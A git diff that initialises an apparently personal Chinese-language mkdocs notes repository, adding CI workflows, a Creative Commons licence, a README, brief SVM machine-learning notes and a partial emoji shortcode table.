diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 000000000..1baeb19b8 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,2 @@ +*.md linguist-documentation=false +*.md linguist-detectable diff --git a/.github/workflows/check_links.yml b/.github/workflows/check_links.yml new file mode 100644 index 000000000..7a7c1eeae --- /dev/null +++ b/.github/workflows/check_links.yml @@ -0,0 +1,21 @@ +name: Check links + +on: + push: + pull_request: + schedule: + - cron: "0 0 * * 0" # At 00:00 on Sunday + +jobs: + check-links: + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Check + uses: gaurav-nelson/github-action-markdown-link-check@1.0.15 + with: + use-quiet-mode: "yes" + use-verbose-mode: "yes" + config-file: ".github/workflows/check_links_config.json" diff --git a/.github/workflows/check_links_config.json b/.github/workflows/check_links_config.json new file mode 100644 index 000000000..ad1cbfcee --- /dev/null +++ b/.github/workflows/check_links_config.json @@ -0,0 +1,25 @@ +{ + "ignorePatterns": [ + { + "pattern": [ + "https://www.ollydbg.de/version2.html", + "https://www.onlinegdb.com/", + "https://whoer.net/", + "https://store.nethunter.com/", + "https://www.microsoft.com/en-us/edge", + "https://www.epicgames.com/", + ] + } + ], + "httpHeaders": [ + { + "urls": ["https://github.com/", "https://guides.github.com/", "https://help.github.com/", "https://docs.github.com/"], + "headers": { + "Accept-Encoding": "zstd, br, gzip, deflate" + } + } + ], + "timeout": "20s", + "retryOn429": true, + "aliveStatusCodes": [200, 206] +} \ No newline at end of file diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml new file mode 100644 index 000000000..2041dbe1b --- /dev/null +++ b/.github/workflows/deploy.yml @@ -0,0 +1,20 @@ +name: Deploy + +on: + push: + branches: + - main + +jobs: + deploy: + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + with: + fetch-depth: 1 + + - name: Deploy + run: | + pip install mkdocs-material + mkdocs gh-deploy --force diff --git a/LICENSE b/LICENSE new file mode 100644 index 000000000..cbe5ad167 --- /dev/null +++ b/LICENSE @@ -0,0 +1,437 @@ +Attribution-NonCommercial-ShareAlike 4.0 International + +======================================================================= + +Creative Commons Corporation ("Creative Commons") is not a law firm and +does not provide legal services or legal advice. Distribution of +Creative Commons public licenses does not create a lawyer-client or +other relationship. Creative Commons makes its licenses and related +information available on an "as-is" basis. Creative Commons gives no +warranties regarding its licenses, any material licensed under their +terms and conditions, or any related information. Creative Commons +disclaims all liability for damages resulting from their use to the +fullest extent possible. + +Using Creative Commons Public Licenses + +Creative Commons public licenses provide a standard set of terms and +conditions that creators and other rights holders may use to share +original works of authorship and other material subject to copyright +and certain other rights specified in the public license below. The +following considerations are for informational purposes only, are not +exhaustive, and do not form part of our licenses. + + Considerations for licensors: Our public licenses are + intended for use by those authorized to give the public + permission to use material in ways otherwise restricted by + copyright and certain other rights. Our licenses are + irrevocable. Licensors should read and understand the terms + and conditions of the license they choose before applying it. + Licensors should also secure all rights necessary before + applying our licenses so that the public can reuse the + material as expected. Licensors should clearly mark any + material not subject to the license. This includes other CC- + licensed material, or material used under an exception or + limitation to copyright. More considerations for licensors: + wiki.creativecommons.org/Considerations_for_licensors + + Considerations for the public: By using one of our public + licenses, a licensor grants the public permission to use the + licensed material under specified terms and conditions. If + the licensor's permission is not necessary for any reason--for + example, because of any applicable exception or limitation to + copyright--then that use is not regulated by the license. Our + licenses grant only permissions under copyright and certain + other rights that a licensor has authority to grant. Use of + the licensed material may still be restricted for other + reasons, including because others have copyright or other + rights in the material. A licensor may make special requests, + such as asking that all changes be marked or described. + Although not required by our licenses, you are encouraged to + respect those requests where reasonable. More considerations + for the public: + wiki.creativecommons.org/Considerations_for_licensees + +======================================================================= + +Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International +Public License + +By exercising the Licensed Rights (defined below), You accept and agree +to be bound by the terms and conditions of this Creative Commons +Attribution-NonCommercial-ShareAlike 4.0 International Public License +("Public License"). To the extent this Public License may be +interpreted as a contract, You are granted the Licensed Rights in +consideration of Your acceptance of these terms and conditions, and the +Licensor grants You such rights in consideration of benefits the +Licensor receives from making the Licensed Material available under +these terms and conditions. + + +Section 1 -- Definitions. + + a. Adapted Material means material subject to Copyright and Similar + Rights that is derived from or based upon the Licensed Material + and in which the Licensed Material is translated, altered, + arranged, transformed, or otherwise modified in a manner requiring + permission under the Copyright and Similar Rights held by the + Licensor. For purposes of this Public License, where the Licensed + Material is a musical work, performance, or sound recording, + Adapted Material is always produced where the Licensed Material is + synched in timed relation with a moving image. + + b. Adapter's License means the license You apply to Your Copyright + and Similar Rights in Your contributions to Adapted Material in + accordance with the terms and conditions of this Public License. + + c. BY-NC-SA Compatible License means a license listed at + creativecommons.org/compatiblelicenses, approved by Creative + Commons as essentially the equivalent of this Public License. + + d. Copyright and Similar Rights means copyright and/or similar rights + closely related to copyright including, without limitation, + performance, broadcast, sound recording, and Sui Generis Database + Rights, without regard to how the rights are labeled or + categorized. For purposes of this Public License, the rights + specified in Section 2(b)(1)-(2) are not Copyright and Similar + Rights. + + e. Effective Technological Measures means those measures that, in the + absence of proper authority, may not be circumvented under laws + fulfilling obligations under Article 11 of the WIPO Copyright + Treaty adopted on December 20, 1996, and/or similar international + agreements. + + f. Exceptions and Limitations means fair use, fair dealing, and/or + any other exception or limitation to Copyright and Similar Rights + that applies to Your use of the Licensed Material. + + g. License Elements means the license attributes listed in the name + of a Creative Commons Public License. The License Elements of this + Public License are Attribution, NonCommercial, and ShareAlike. + + h. Licensed Material means the artistic or literary work, database, + or other material to which the Licensor applied this Public + License. + + i. Licensed Rights means the rights granted to You subject to the + terms and conditions of this Public License, which are limited to + all Copyright and Similar Rights that apply to Your use of the + Licensed Material and that the Licensor has authority to license. + + j. Licensor means the individual(s) or entity(ies) granting rights + under this Public License. + + k. NonCommercial means not primarily intended for or directed towards + commercial advantage or monetary compensation. For purposes of + this Public License, the exchange of the Licensed Material for + other material subject to Copyright and Similar Rights by digital + file-sharing or similar means is NonCommercial provided there is + no payment of monetary compensation in connection with the + exchange. + + l. Share means to provide material to the public by any means or + process that requires permission under the Licensed Rights, such + as reproduction, public display, public performance, distribution, + dissemination, communication, or importation, and to make material + available to the public including in ways that members of the + public may access the material from a place and at a time + individually chosen by them. + + m. Sui Generis Database Rights means rights other than copyright + resulting from Directive 96/9/EC of the European Parliament and of + the Council of 11 March 1996 on the legal protection of databases, + as amended and/or succeeded, as well as other essentially + equivalent rights anywhere in the world. + + n. You means the individual or entity exercising the Licensed Rights + under this Public License. Your has a corresponding meaning. + + +Section 2 -- Scope. + + a. License grant. + + 1. Subject to the terms and conditions of this Public License, + the Licensor hereby grants You a worldwide, royalty-free, + non-sublicensable, non-exclusive, irrevocable license to + exercise the Licensed Rights in the Licensed Material to: + + a. reproduce and Share the Licensed Material, in whole or + in part, for NonCommercial purposes only; and + + b. produce, reproduce, and Share Adapted Material for + NonCommercial purposes only. + + 2. Exceptions and Limitations. For the avoidance of doubt, where + Exceptions and Limitations apply to Your use, this Public + License does not apply, and You do not need to comply with + its terms and conditions. + + 3. Term. The term of this Public License is specified in Section + 6(a). + + 4. Media and formats; technical modifications allowed. The + Licensor authorizes You to exercise the Licensed Rights in + all media and formats whether now known or hereafter created, + and to make technical modifications necessary to do so. The + Licensor waives and/or agrees not to assert any right or + authority to forbid You from making technical modifications + necessary to exercise the Licensed Rights, including + technical modifications necessary to circumvent Effective + Technological Measures. For purposes of this Public License, + simply making modifications authorized by this Section 2(a) + (4) never produces Adapted Material. + + 5. Downstream recipients. + + a. Offer from the Licensor -- Licensed Material. Every + recipient of the Licensed Material automatically + receives an offer from the Licensor to exercise the + Licensed Rights under the terms and conditions of this + Public License. + + b. Additional offer from the Licensor -- Adapted Material. + Every recipient of Adapted Material from You + automatically receives an offer from the Licensor to + exercise the Licensed Rights in the Adapted Material + under the conditions of the Adapter's License You apply. + + c. No downstream restrictions. You may not offer or impose + any additional or different terms or conditions on, or + apply any Effective Technological Measures to, the + Licensed Material if doing so restricts exercise of the + Licensed Rights by any recipient of the Licensed + Material. + + 6. No endorsement. Nothing in this Public License constitutes or + may be construed as permission to assert or imply that You + are, or that Your use of the Licensed Material is, connected + with, or sponsored, endorsed, or granted official status by, + the Licensor or others designated to receive attribution as + provided in Section 3(a)(1)(A)(i). + + b. Other rights. + + 1. Moral rights, such as the right of integrity, are not + licensed under this Public License, nor are publicity, + privacy, and/or other similar personality rights; however, to + the extent possible, the Licensor waives and/or agrees not to + assert any such rights held by the Licensor to the limited + extent necessary to allow You to exercise the Licensed + Rights, but not otherwise. + + 2. Patent and trademark rights are not licensed under this + Public License. + + 3. To the extent possible, the Licensor waives any right to + collect royalties from You for the exercise of the Licensed + Rights, whether directly or through a collecting society + under any voluntary or waivable statutory or compulsory + licensing scheme. In all other cases the Licensor expressly + reserves any right to collect such royalties, including when + the Licensed Material is used other than for NonCommercial + purposes. + + +Section 3 -- License Conditions. + +Your exercise of the Licensed Rights is expressly made subject to the +following conditions. + + a. Attribution. + + 1. If You Share the Licensed Material (including in modified + form), You must: + + a. retain the following if it is supplied by the Licensor + with the Licensed Material: + + i. identification of the creator(s) of the Licensed + Material and any others designated to receive + attribution, in any reasonable manner requested by + the Licensor (including by pseudonym if + designated); + + ii. a copyright notice; + + iii. a notice that refers to this Public License; + + iv. a notice that refers to the disclaimer of + warranties; + + v. a URI or hyperlink to the Licensed Material to the + extent reasonably practicable; + + b. indicate if You modified the Licensed Material and + retain an indication of any previous modifications; and + + c. indicate the Licensed Material is licensed under this + Public License, and include the text of, or the URI or + hyperlink to, this Public License. + + 2. You may satisfy the conditions in Section 3(a)(1) in any + reasonable manner based on the medium, means, and context in + which You Share the Licensed Material. For example, it may be + reasonable to satisfy the conditions by providing a URI or + hyperlink to a resource that includes the required + information. + 3. If requested by the Licensor, You must remove any of the + information required by Section 3(a)(1)(A) to the extent + reasonably practicable. + + b. ShareAlike. + + In addition to the conditions in Section 3(a), if You Share + Adapted Material You produce, the following conditions also apply. + + 1. The Adapter's License You apply must be a Creative Commons + license with the same License Elements, this version or + later, or a BY-NC-SA Compatible License. + + 2. You must include the text of, or the URI or hyperlink to, the + Adapter's License You apply. You may satisfy this condition + in any reasonable manner based on the medium, means, and + context in which You Share Adapted Material. + + 3. You may not offer or impose any additional or different terms + or conditions on, or apply any Effective Technological + Measures to, Adapted Material that restrict exercise of the + rights granted under the Adapter's License You apply. + + +Section 4 -- Sui Generis Database Rights. + +Where the Licensed Rights include Sui Generis Database Rights that +apply to Your use of the Licensed Material: + + a. for the avoidance of doubt, Section 2(a)(1) grants You the right + to extract, reuse, reproduce, and Share all or a substantial + portion of the contents of the database for NonCommercial purposes + only; + + b. if You include all or a substantial portion of the database + contents in a database in which You have Sui Generis Database + Rights, then the database in which You have Sui Generis Database + Rights (but not its individual contents) is Adapted Material, + including for purposes of Section 3(b); and + + c. You must comply with the conditions in Section 3(a) if You Share + all or a substantial portion of the contents of the database. + +For the avoidance of doubt, this Section 4 supplements and does not +replace Your obligations under this Public License where the Licensed +Rights include other Copyright and Similar Rights. + + +Section 5 -- Disclaimer of Warranties and Limitation of Liability. + + a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE + EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS + AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF + ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, + IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, + WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR + PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, + ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT + KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT + ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. + + b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE + TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, + NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, + INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, + COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR + USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN + ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR + DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR + IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. + + c. The disclaimer of warranties and limitation of liability provided + above shall be interpreted in a manner that, to the extent + possible, most closely approximates an absolute disclaimer and + waiver of all liability. + + +Section 6 -- Term and Termination. + + a. This Public License applies for the term of the Copyright and + Similar Rights licensed here. However, if You fail to comply with + this Public License, then Your rights under this Public License + terminate automatically. + + b. Where Your right to use the Licensed Material has terminated under + Section 6(a), it reinstates: + + 1. automatically as of the date the violation is cured, provided + it is cured within 30 days of Your discovery of the + violation; or + + 2. upon express reinstatement by the Licensor. + + For the avoidance of doubt, this Section 6(b) does not affect any + right the Licensor may have to seek remedies for Your violations + of this Public License. + + c. For the avoidance of doubt, the Licensor may also offer the + Licensed Material under separate terms or conditions or stop + distributing the Licensed Material at any time; however, doing so + will not terminate this Public License. + + d. Sections 1, 5, 6, 7, and 8 survive termination of this Public + License. + + +Section 7 -- Other Terms and Conditions. + + a. The Licensor shall not be bound by any additional or different + terms or conditions communicated by You unless expressly agreed. + + b. Any arrangements, understandings, or agreements regarding the + Licensed Material not stated herein are separate from and + independent of the terms and conditions of this Public License. + + +Section 8 -- Interpretation. + + a. For the avoidance of doubt, this Public License does not, and + shall not be interpreted to, reduce, limit, restrict, or impose + conditions on any use of the Licensed Material that could lawfully + be made without permission under this Public License. + + b. To the extent possible, if any provision of this Public License is + deemed unenforceable, it shall be automatically reformed to the + minimum extent necessary to make it enforceable. If the provision + cannot be reformed, it shall be severed from this Public License + without affecting the enforceability of the remaining terms and + conditions. + + c. No term or condition of this Public License will be waived and no + failure to comply consented to unless expressly agreed to by the + Licensor. + + d. Nothing in this Public License constitutes or may be interpreted + as a limitation upon, or waiver of, any privileges and immunities + that apply to the Licensor or You, including from the legal + processes of any jurisdiction or authority. + +======================================================================= + +Creative Commons is not a party to its public +licenses. Notwithstanding, Creative Commons may elect to apply one of +its public licenses to material it publishes and in those instances +will be considered the “Licensor.” The text of the Creative Commons +public licenses is dedicated to the public domain under the CC0 Public +Domain Dedication. Except for the limited purpose of indicating that +material is shared under a Creative Commons public license or as +otherwise permitted by the Creative Commons policies published at +creativecommons.org/policies, Creative Commons does not authorize the +use of the trademark "Creative Commons" or any other trademark or logo +of Creative Commons without its prior written consent including, +without limitation, in connection with any unauthorized modifications +to any of its public licenses or any other arrangements, +understandings, or agreements concerning use of licensed material. For +the avoidance of doubt, this paragraph does not form part of the +public licenses. + +Creative Commons may be contacted at creativecommons.org. diff --git a/docs/README.md b/docs/README.md new file mode 100644 index 000000000..c640ec989 --- /dev/null +++ b/docs/README.md @@ -0,0 +1,26 @@ +# Notes + +示例笔记: + +- [常用软件](操作系统/常用软件.md). +- [Vim](其他/编辑器/Vim.md). +- [反汇编器](渗透测试/逆向工程/反汇编器.md). +- [Manjaro 安装](操作系统/Linux/Manjaro/Manjaro_安装.md). +- [Dishonored 2](<其他/游戏/评价/Dishonored_2.md>). + +活跃模块: + +- 计算机网络. +- 数据库开发. +- [现代推箱子教程](https://shenmian.github.io/sokoban-tutorial/). + +## 许可协议 + +![License](assets/LICENSE.png){ align=right } + +该系列文章采用 [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/) 许可协议进行授权. +部分图片来源于互联网, 版权归原作者所有. + +--- + +[![Give up GitHub](https://sfconservancy.org/img/GiveUpGitHub.png){ width=20% style="display: block; margin: 0 auto" }](https://sfconservancy.org/GiveUpGitHub/) diff --git a/docs/assets/LICENSE.png b/docs/assets/LICENSE.png new file mode 100644 index 000000000..8b63bdf96 Binary files /dev/null and b/docs/assets/LICENSE.png differ diff --git a/docs/assets/icon.ico b/docs/assets/icon.ico new file mode 100644 index 000000000..d2eb3d519 Binary files /dev/null and b/docs/assets/icon.ico differ diff --git "a/docs/\345\205\266\344\273\226/Archived/AI/Machine Learning 2024-4-16.md" "b/docs/\345\205\266\344\273\226/Archived/AI/Machine Learning 2024-4-16.md" new file mode 100644 index 000000000..f2ad227db --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Archived/AI/Machine Learning 2024-4-16.md" @@ -0,0 +1,19 @@ +# Multi-class SVM + +## One vs another + +Datasets: $C_1$, $C_2$, $C_3$ +SVMs: +1. ($C_2$, $C_3$) vs $C_1$ +2. ($C_1$, $C_3$) vs $C_2$ +3. ($C_1$, $C_2$) vs $C_3$ + +共 $n$ 组. + +## One vs one + +1. $C_1$ vs $C_2$ +2. $C_2$ vs $C_3$ +3. $C_3$ vs $C_1$ + +共 $C^2_n$ 组. diff --git "a/docs/\345\205\266\344\273\226/Archived/AI/Machine Learning 2024-4-2.md" "b/docs/\345\205\266\344\273\226/Archived/AI/Machine Learning 2024-4-2.md" new file mode 100644 index 000000000..464d06cba --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Archived/AI/Machine Learning 2024-4-2.md" @@ -0,0 +1,11 @@ +Definition of Machine Learning(ML) +1. Without being explicitly programmed. +2. ML is a discipline in which computers built data-based probabilistic statistical models and use them to predict and analyze data. Also called statistical machine leaning (统计机器学习). + +The basic classification +1. Supervised leaning (SL, 监督学习): SL is a ML method in which the prediction models are acquired from labeled data. +2. Unsupervised leaning (USL, 无监督学习): USL refers to the ML problem of learning predictive models from unlabeled data. +3. Reinforcement leaning (RL, 强化学习): RL is a ML problem in which the intelligent system learns the optional behavior strategy through continues interaction with the environment. +4. Semi-supervised leaning (半监督学习), active leaning (主动学习). + +[[Support Vector Machine (SVM, 支持向量机)]] \ No newline at end of file diff --git "a/docs/\345\205\266\344\273\226/Archived/AI/Support Vector Machine (SVM, \346\224\257\346\214\201\345\220\221\351\207\217\346\234\272).md" "b/docs/\345\205\266\344\273\226/Archived/AI/Support Vector Machine (SVM, \346\224\257\346\214\201\345\220\221\351\207\217\346\234\272).md" new file mode 100644 index 000000000..624c5dc91 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Archived/AI/Support Vector Machine (SVM, \346\224\257\346\214\201\345\220\221\351\207\217\346\234\272).md" @@ -0,0 +1,46 @@ +发明者: Vapinik \[苏\] + +Linear support vector machine(LSVM) in the linearly separable case and Hard Margin Maximization. + +LSVM in the linearly separable case suppose a training dataset in a feature space, is given + $$T = \{(x_1. y_1), (x_2, y_2), ..., (x_n, y_n)\}$$ + where $x_i \in X$ = $R^n$, $y_i \in Y = \{+1, -1\}$, $i=1,2,...,N$. + + Definition (linear separability of dataset) + Given T, if there is a hyper plane (超平面) + $$S: \omega \cdot X + b = 0$$ + Than can precisely divide the positive instance points and negative instance points of dataset into both sides of the hyper plane. + + i.e. For all instances $i$ with $y_i=+1$, $W \cdot x + b > 0$ and for all instances with $y_i$=-1, $\omega \cdot x + b < 0$. Then the dataset T is called a linearly separate data. + +--- + +``` +^ +| \ o +| \ o +| x \ o +| x \ o +| x x \ ++----------------> +``` +- `o` indicates positive instance points. +- `x` indicates negative instance points. + +Find: +1. $\omega^* \cdot x + b^* = 0$ +2. $f(x) = sign(\omega^* \cdot x + b^*)$ + +--- + +Function margin and Geometric margin + +1. Function margin: with regard to the give training dataset T and the hyperplane($W$, $b$). Define the functional margin of hyperplane on sample point $(x_i, y_i)$ as + $$\hat{\gamma}_i = y_i(\omega \cdot x_i + b)$$ + $$\hat{\gamma} = \min_{i=0,...,N}\hat{\gamma}_i$$ +2. Two facts + 1. $(\omega^*, b^*)$ 与 $(a\omega^*, ab^*)$ 相同. + 2. Distance from $(x_0, y_0)$ to the plane $\omega_1x + \omega_2y + b = 0$: + $$d = \frac{|\omega_1x + \omega_2y + b|}{\sqrt{\omega_1^2 + \omega_2^2}} = \frac{|\omega_1x + \omega_2y + b|}{||\omega||}$$ + Vector $\vec{x}_0$ to the hyperplane $\omega_1x + \omega_2y + b = 0$: + $$d = \frac{|\omega^* \cdot x_0 + b^*|}{||\omega^*||}$$ \ No newline at end of file diff --git "a/docs/\345\205\266\344\273\226/Archived/Emoji.md" "b/docs/\345\205\266\344\273\226/Archived/Emoji.md" new file mode 100644 index 000000000..40e82a060 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Archived/Emoji.md" @@ -0,0 +1,318 @@ +# Emoji + +## People + +| | | | +| --------------------------------------------------------------- | --------------------------------------------------------------- | ------------------------------------------- | +| :bowtie: `:bowtie:` | :smile: `:smile:` | :laughing: `:laughing:` | +| :blush: `:blush:` | :smiley: `:smiley:` | :relaxed: `:relaxed:` | +| :smirk: `:smirk:` | :heart_eyes: `:heart_eyes:` | :kissing_heart: `:kissing_heart:` | +| :kissing_closed_eyes: `:kissing_closed_eyes:` | :flushed: `:flushed:` | :relieved: `:relieved:` | +| :satisfied: `:satisfied:` | :grin: `:grin:` | :wink: `:wink:` | +| :stuck_out_tongue_winking_eye: `:stuck_out_tongue_winking_eye:` | :stuck_out_tongue_closed_eyes: `:stuck_out_tongue_closed_eyes:` | :grinning: `:grinning:` | +| :kissing: `:kissing:` | :kissing_smiling_eyes: `:kissing_smiling_eyes:` | :stuck_out_tongue: `:stuck_out_tongue:` | +| :sleeping: `:sleeping:` | :worried: `:worried:` | :frowning: `:frowning:` | +| :anguished: `:anguished:` | :open_mouth: `:open_mouth:` | :grimacing: `:grimacing:` | +| :confused: `:confused:` | :hushed: `:hushed:` | :expressionless: `:expressionless:` | +| :unamused: `:unamused:` | :sweat_smile: `:sweat_smile:` | :sweat: `:sweat:` | +| :disappointed_relieved: `:disappointed_relieved:` | :weary: `:weary:` | :pensive: `:pensive:` | +| :disappointed: `:disappointed:` | :confounded: `:confounded:` | :fearful: `:fearful:` | +| :cold_sweat: `:cold_sweat:` | :persevere: `:persevere:` | :cry: `:cry:` | +| :sob: `:sob:` | :joy: `:joy:` | :astonished: `:astonished:` | +| :scream: `:scream:` | :neckbeard: `:neckbeard:` | :tired_face: `:tired_face:` | +| :angry: `:angry:` | :rage: `:rage:` | :triumph: `:triumph:` | +| :sleepy: `:sleepy:` | :yum: `:yum:` | :mask: `:mask:` | +| :sunglasses: `:sunglasses:` | :dizzy_face: `:dizzy_face:` | :imp: `:imp:` | +| :smiling_imp: `:smiling_imp:` | :neutral_face: `:neutral_face:` | :no_mouth: `:no_mouth:` | +| :innocent: `:innocent:` | :alien: `:alien:` | :yellow_heart: `:yellow_heart:` | +| :blue_heart: `:blue_heart:` | :purple_heart: `:purple_heart:` | :heart: `:heart:` | +| :green_heart: `:green_heart:` | :broken_heart: `:broken_heart:` | :heartbeat: `:heartbeat:` | +| :heartpulse: `:heartpulse:` | :two_hearts: `:two_hearts:` | :revolving_hearts: `:revolving_hearts:` | +| :cupid: `:cupid:` | :sparkling_heart: `:sparkling_heart:` | :sparkles: `:sparkles:` | +| :star: `:star:` | :star2: `:star2:` | :dizzy: `:dizzy:` | +| :boom: `:boom:` | :collision: `:collision:` | :anger: `:anger:` | +| :exclamation: `:exclamation:` | :question: `:question:` | :grey_exclamation: `:grey_exclamation:` | +| :grey_question: `:grey_question:` | :zzz: `:zzz:` | :dash: `:dash:` | +| :sweat_drops: `:sweat_drops:` | :notes: `:notes:` | :musical_note: `:musical_note:` | +| :fire: `:fire:` | :hankey: `:hankey:` | :poop: `:poop:` | +| :shit: `:shit:` | :+1: `:+1:` | :thumbsup: `:thumbsup:` | +| :-1: `:-1:` | :thumbsdown: `:thumbsdown:` | :ok_hand: `:ok_hand:` | +| :punch: `:punch:` | :facepunch: `:facepunch:` | :fist: `:fist:` | +| :v: `:v:` | :wave: `:wave:` | :hand: `:hand:` | +| :raised_hand: `:raised_hand:` | :open_hands: `:open_hands:` | :point_up: `:point_up:` | +| :point_down: `:point_down:` | :point_left: `:point_left:` | :point_right: `:point_right:` | +| :raised_hands: `:raised_hands:` | :pray: `:pray:` | :point_up_2: `:point_up_2:` | +| :clap: `:clap:` | :muscle: `:muscle:` | :metal: `:metal:` | +| :fu: `:fu:` | :walking: `:walking:` | :runner: `:runner:` | +| :running: `:running:` | :couple: `:couple:` | :family: `:family:` | +| :two_men_holding_hands: `:two_men_holding_hands:` | :two_women_holding_hands: `:two_women_holding_hands:` | :dancer: `:dancer:` | +| :dancers: `:dancers:` | :ok_woman: `:ok_woman:` | :no_good: `:no_good:` | +| :information_desk_person: `:information_desk_person:` | :raising_hand: `:raising_hand:` | :bride_with_veil: `:bride_with_veil:` | +| :person_with_pouting_face: `:person_with_pouting_face:` | :person_frowning: `:person_frowning:` | :bow: `:bow:` | +| :couplekiss: `:couplekiss:` | :couple_with_heart: `:couple_with_heart:` | :massage: `:massage:` | +| :haircut: `:haircut:` | :nail_care: `:nail_care:` | :boy: `:boy:` | +| :girl: `:girl:` | :woman: `:woman:` | :man: `:man:` | +| :baby: `:baby:` | :older_woman: `:older_woman:` | :older_man: `:older_man:` | +| :person_with_blond_hair: `:person_with_blond_hair:` | :man_with_gua_pi_mao: `:man_with_gua_pi_mao:` | :man_with_turban: `:man_with_turban:` | +| :construction_worker: `:construction_worker:` | :cop: `:cop:` | :angel: `:angel:` | +| :princess: `:princess:` | :smiley_cat: `:smiley_cat:` | :smile_cat: `:smile_cat:` | +| :heart_eyes_cat: `:heart_eyes_cat:` | :kissing_cat: `:kissing_cat:` | :smirk_cat: `:smirk_cat:` | +| :scream_cat: `:scream_cat:` | :crying_cat_face: `:crying_cat_face:` | :joy_cat: `:joy_cat:` | +| :pouting_cat: `:pouting_cat:` | :japanese_ogre: `:japanese_ogre:` | :japanese_goblin: `:japanese_goblin:` | +| :see_no_evil: `:see_no_evil:` | :hear_no_evil: `:hear_no_evil:` | :speak_no_evil: `:speak_no_evil:` | +| :guardsman: `:guardsman:` | :skull: `:skull:` | :feet: `:feet:` | +| :lips: `:lips:` | :kiss: `:kiss:` | :droplet: `:droplet:` | +| :ear: `:ear:` | :eyes: `:eyes:` | :nose: `:nose:` | +| :tongue: `:tongue:` | :love_letter: `:love_letter:` | :bust_in_silhouette: `:bust_in_silhouette:` | +| :busts_in_silhouette: `:busts_in_silhouette:` | :speech_balloon: `:speech_balloon:` | :thought_balloon: `:thought_balloon:` | +| :feelsgood: `:feelsgood:` | :finnadie: `:finnadie:` | :goberserk: `:goberserk:` | +| :godmode: `:godmode:` | :hurtrealbad: `:hurtrealbad:` | :rage1: `:rage1:` | +| :rage2: `:rage2:` | :rage3: `:rage3:` | :rage4: `:rage4:` | +| :suspect: `:suspect:` | :trollface: `:trollface:` | | + +## Nature + +| | | | +| --------------------------------------------------------------- | ----------------------------------------------- | ------------------------------------------------------------- | +| :sunny: `:sunny:` | :umbrella: `:umbrella:` | :cloud: `:cloud:` | +| :snowflake: `:snowflake:` | :snowman: `:snowman:` | :zap: `:zap:` | +| :cyclone: `:cyclone:` | :foggy: `:foggy:` | :ocean: `:ocean:` | +| :cat: `:cat:` | :dog: `:dog:` | :mouse: `:mouse:` | +| :hamster: `:hamster:` | :rabbit: `:rabbit:` | :wolf: `:wolf:` | +| :frog: `:frog:` | :tiger: `:tiger:` | :koala: `:koala:` | +| :bear: `:bear:` | :pig: `:pig:` | :pig_nose: `:pig_nose:` | +| :cow: `:cow:` | :boar: `:boar:` | :monkey_face: `:monkey_face:` | +| :monkey: `:monkey:` | :horse: `:horse:` | :racehorse: `:racehorse:` | +| :camel: `:camel:` | :sheep: `:sheep:` | :elephant: `:elephant:` | +| :panda_face: `:panda_face:` | :snake: `:snake:` | :bird: `:bird:` | +| :baby_chick: `:baby_chick:` | :hatched_chick: `:hatched_chick:` | :hatching_chick: `:hatching_chick:` | +| :chicken: `:chicken:` | :penguin: `:penguin:` | :turtle: `:turtle:` | +| :bug: `:bug:` | :honeybee: `:honeybee:` | :ant: `:ant:` | +| :beetle: `:beetle:` | :snail: `:snail:` | :octopus: `:octopus:` | +| :tropical_fish: `:tropical_fish:` | :fish: `:fish:` | :whale: `:whale:` | +| :whale2: `:whale2:` | :dolphin: `:dolphin:` | :cow2: `:cow2:` | +| :ram: `:ram:` | :rat: `:rat:` | :water_buffalo: `:water_buffalo:` | +| :tiger2: `:tiger2:` | :rabbit2: `:rabbit2:` | :dragon: `:dragon:` | +| :goat: `:goat:` | :rooster: `:rooster:` | :dog2: `:dog2:` | +| :pig2: `:pig2:` | :mouse2: `:mouse2:` | :ox: `:ox:` | +| :dragon_face: `:dragon_face:` | :blowfish: `:blowfish:` | :crocodile: `:crocodile:` | +| :dromedary_camel: `:dromedary_camel:` | :leopard: `:leopard:` | :cat2: `:cat2:` | +| :poodle: `:poodle:` | :paw_prints: `:paw_prints:` | :bouquet: `:bouquet:` | +| :cherry_blossom: `:cherry_blossom:` | :tulip: `:tulip:` | :four_leaf_clover: `:four_leaf_clover:` | +| :rose: `:rose:` | :sunflower: `:sunflower:` | :hibiscus: `:hibiscus:` | +| :maple_leaf: `:maple_leaf:` | :leaves: `:leaves:` | :fallen_leaf: `:fallen_leaf:` | +| :herb: `:herb:` | :mushroom: `:mushroom:` | :cactus: `:cactus:` | +| :palm_tree: `:palm_tree:` | :evergreen_tree: `:evergreen_tree:` | :deciduous_tree: `:deciduous_tree:` | +| :chestnut: `:chestnut:` | :seedling: `:seedling:` | :blossom: 